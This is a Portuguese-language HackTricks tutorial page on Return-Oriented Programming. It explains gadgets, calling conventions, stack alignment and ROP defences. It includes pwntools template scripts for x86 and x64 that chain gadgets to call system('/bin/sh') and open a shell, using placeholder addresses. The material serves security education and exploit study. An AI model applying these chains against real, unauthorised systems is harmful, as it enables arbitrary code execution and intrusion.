hacktricks/binary-exploitation/rop-return-oriented-programing
2024-12-14 21:30:33 +00:00
..
ret2lib Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
rop-syscall-execv Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
srop-sigreturn-oriented-programming Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
brop-blind-return-oriented-programming.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
README.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
ret2csu.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
ret2dlresolve.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
ret2esp-ret2reg.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
ret2vdso.md Translated ['.github/pull_request_template.md', 'LICENSE.md', 'android-f 2024-12-14 21:30:33 +00:00
rop-syscall-execv.md Recreating repository history for branch pt 2024-12-12 13:56:11 +01:00
srop-sigreturn-oriented-programming.md Recreating repository history for branch pt 2024-12-12 13:56:11 +01:00

ROP - Programação Orientada a Retorno

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

Informações Básicas

Programação Orientada a Retorno (ROP) é uma técnica avançada de exploração usada para contornar medidas de segurança como No-Execute (NX) ou Data Execution Prevention (DEP). Em vez de injetar e executar shellcode, um atacante aproveita pedaços de código já presentes no binário ou em bibliotecas carregadas, conhecidos como "gadgets". Cada gadget normalmente termina com uma instrução ret e realiza uma pequena operação, como mover dados entre registradores ou realizar operações aritméticas. Ao encadear esses gadgets, um atacante pode construir um payload para realizar operações arbitrárias, contornando efetivamente as proteções NX/DEP.

Como o ROP Funciona

  1. Sequestro de Fluxo de Controle: Primeiro, um atacante precisa sequestrar o fluxo de controle de um programa, tipicamente explorando um buffer overflow para sobrescrever um endereço de retorno salvo na pilha.
  2. Encadeamento de Gadgets: O atacante então seleciona e encadeia cuidadosamente gadgets para realizar as ações desejadas. Isso pode envolver configurar argumentos para uma chamada de função, chamar a função (por exemplo, system("/bin/sh")), e lidar com qualquer limpeza ou operações adicionais necessárias.
  3. Execução do Payload: Quando a função vulnerável retorna, em vez de retornar a um local legítimo, ela começa a executar a cadeia de gadgets.

Ferramentas

Normalmente, gadgets podem ser encontrados usando ROPgadget, ropper ou diretamente do pwntools (ROP).

Exemplo de Cadeia ROP em x86

Convenções de Chamada x86 (32-bit)

  • cdecl: O chamador limpa a pilha. Os argumentos da função são empilhados na pilha em ordem reversa (da direita para a esquerda). Os argumentos são empilhados da direita para a esquerda.
  • stdcall: Semelhante ao cdecl, mas o chamado é responsável por limpar a pilha.

Encontrando Gadgets

Primeiro, vamos supor que identificamos os gadgets necessários dentro do binário ou suas bibliotecas carregadas. Os gadgets que nos interessam são:

  • pop eax; ret: Este gadget retira o valor do topo da pilha para o registrador EAX e então retorna, permitindo-nos controlar EAX.
  • pop ebx; ret: Semelhante ao acima, mas para o registrador EBX, permitindo controle sobre EBX.
  • mov [ebx], eax; ret: Move o valor em EAX para o local de memória apontado por EBX e então retorna. Isso é frequentemente chamado de gadget write-what-where.
  • Além disso, temos o endereço da função system() disponível.

Cadeia ROP

Usando pwntools, preparamos a pilha para a execução da cadeia ROP da seguinte forma, visando executar system('/bin/sh'), note como a cadeia começa com:

  1. Uma instrução ret para fins de alinhamento (opcional)
  2. Endereço da função system (supondo ASLR desativado e libc conhecido, mais informações em Ret2lib)
  3. Placeholder para o endereço de retorno da system()
  4. Endereço da string "/bin/sh" (parâmetro para a função system)
from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadc0de

# A gadget to control the return address, typically found through analysis
ret_gadget = 0xcafebabe  # This could be any gadget that allows us to control the return address

# Construct the ROP chain
rop_chain = [
ret_gadget,    # This gadget is used to align the stack if necessary, especially to bypass stack alignment issues
system_addr,   # Address of system(). Execution will continue here after the ret gadget
0x41414141,    # Placeholder for system()'s return address. This could be the address of exit() or another safe place.
bin_sh_addr    # Address of "/bin/sh" string goes here, as the argument to system()
]

# Flatten the rop_chain for use
rop_chain = b''.join(p32(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

ROP Chain in x64 Example

x64 (64-bit) Calling conventions

  • Usa a convenção de chamada System V AMD64 ABI em sistemas Unix-like, onde os seis primeiros argumentos inteiros ou ponteiros são passados nos registradores RDI, RSI, RDX, RCX, R8 e R9. Argumentos adicionais são passados na pilha. O valor de retorno é colocado em RAX.
  • A convenção de chamada Windows x64 usa RCX, RDX, R8 e R9 para os quatro primeiros argumentos inteiros ou ponteiros, com argumentos adicionais passados na pilha. O valor de retorno é colocado em RAX.
  • Registradores: registradores de 64 bits incluem RAX, RBX, RCX, RDX, RSI, RDI, RBP, RSP e R8 a R15.

Finding Gadgets

Para nosso propósito, vamos nos concentrar em gadgets que nos permitirão definir o registrador RDI (para passar a string "/bin/sh" como um argumento para system()) e então chamar a função system(). Vamos assumir que identificamos os seguintes gadgets:

  • pop rdi; ret: Retira o valor do topo da pilha para RDI e então retorna. Essencial para definir nosso argumento para system().
  • ret: Um retorno simples, útil para alinhamento da pilha em alguns cenários.

E sabemos o endereço da função system().

ROP Chain

Abaixo está um exemplo usando pwntools para configurar e executar uma cadeia ROP visando executar system('/bin/sh') em x64:

from pwn import *

# Assuming we have the binary's ELF and its process
binary = context.binary = ELF('your_binary_here')
p = process(binary.path)

# Find the address of the string "/bin/sh" in the binary
bin_sh_addr = next(binary.search(b'/bin/sh\x00'))

# Address of system() function (hypothetical value)
system_addr = 0xdeadbeefdeadbeef

# Gadgets (hypothetical values)
pop_rdi_gadget = 0xcafebabecafebabe  # pop rdi; ret
ret_gadget = 0xdeadbeefdeadbead     # ret gadget for alignment, if necessary

# Construct the ROP chain
rop_chain = [
ret_gadget,        # Alignment gadget, if needed
pop_rdi_gadget,    # pop rdi; ret
bin_sh_addr,       # Address of "/bin/sh" string goes here, as the argument to system()
system_addr        # Address of system(). Execution will continue here.
]

# Flatten the rop_chain for use
rop_chain = b''.join(p64(addr) for addr in rop_chain)

# Send ROP chain
## offset is the number of bytes required to reach the return address on the stack
payload = fit({offset: rop_chain})
p.sendline(payload)
p.interactive()

Neste exemplo:

  • Utilizamos o gadget pop rdi; ret para definir RDI como o endereço de "/bin/sh".
  • Pulamos diretamente para system() após definir RDI, com o endereço de system() na cadeia.
  • ret_gadget é usado para alinhamento se o ambiente alvo exigir, o que é mais comum em x64 para garantir o alinhamento adequado da pilha antes de chamar funções.

Alinhamento da Pilha

O ABI x86-64 garante que a pilha esteja alinhada em 16 bytes quando uma instrução de chamada é executada. LIBC, para otimizar o desempenho, usa instruções SSE (como movaps) que requerem esse alinhamento. Se a pilha não estiver alinhada corretamente (significando que RSP não é um múltiplo de 16), chamadas para funções como system falharão em uma cadeia ROP. Para corrigir isso, basta adicionar um ret gadget antes de chamar system em sua cadeia ROP.

Principal diferença entre x86 e x64

{% hint style="success" %} Como x64 usa registradores para os primeiros argumentos, geralmente requer menos gadgets do que x86 para chamadas de função simples, mas encontrar e encadear os gadgets certos pode ser mais complexo devido ao aumento do número de registradores e ao maior espaço de endereçamento. O aumento do número de registradores e o maior espaço de endereçamento na arquitetura x64 oferecem tanto oportunidades quanto desafios para o desenvolvimento de exploits, especialmente no contexto da Programação Orientada a Retorno (ROP). {% endhint %}

Exemplo de cadeia ROP em ARM64

Conceitos Básicos de ARM64 & Convenções de Chamada

Verifique a página a seguir para essas informações:

{% content-ref url="../../macos-hardening/macos-security-and-privilege-escalation/macos-apps-inspecting-debugging-and-fuzzing/arm64-basic-assembly.md" %} arm64-basic-assembly.md {% endcontent-ref %}

Proteções Contra ROP

  • ASLR & PIE: Essas proteções dificultam o uso de ROP, pois os endereços dos gadgets mudam entre as execuções.
  • Stack Canaries: Em caso de um BOF, é necessário contornar os canários da pilha para sobrescrever ponteiros de retorno e abusar de uma cadeia ROP.
  • Falta de Gadgets: Se não houver gadgets suficientes, não será possível gerar uma cadeia ROP.

Técnicas baseadas em ROP

Observe que ROP é apenas uma técnica para executar código arbitrário. Com base em ROP, muitas técnicas Ret2XXX foram desenvolvidas:

  • Ret2lib: Usa ROP para chamar funções arbitrárias de uma biblioteca carregada com parâmetros arbitrários (geralmente algo como system('/bin/sh').

{% content-ref url="ret2lib/" %} ret2lib {% endcontent-ref %}

  • Ret2Syscall: Usa ROP para preparar uma chamada a uma syscall, por exemplo, execve, e fazer com que execute comandos arbitrários.

{% content-ref url="rop-syscall-execv/" %} rop-syscall-execv {% endcontent-ref %}

  • EBP2Ret & EBP Chaining: O primeiro abusará do EBP em vez do EIP para controlar o fluxo e o segundo é semelhante ao Ret2lib, mas neste caso o fluxo é controlado principalmente com endereços EBP (embora também seja necessário controlar o EIP).

{% content-ref url="../stack-overflow/stack-pivoting-ebp2ret-ebp-chaining.md" %} stack-pivoting-ebp2ret-ebp-chaining.md {% endcontent-ref %}

Outros Exemplos & Referências

{% hint style="success" %} Aprenda e pratique Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}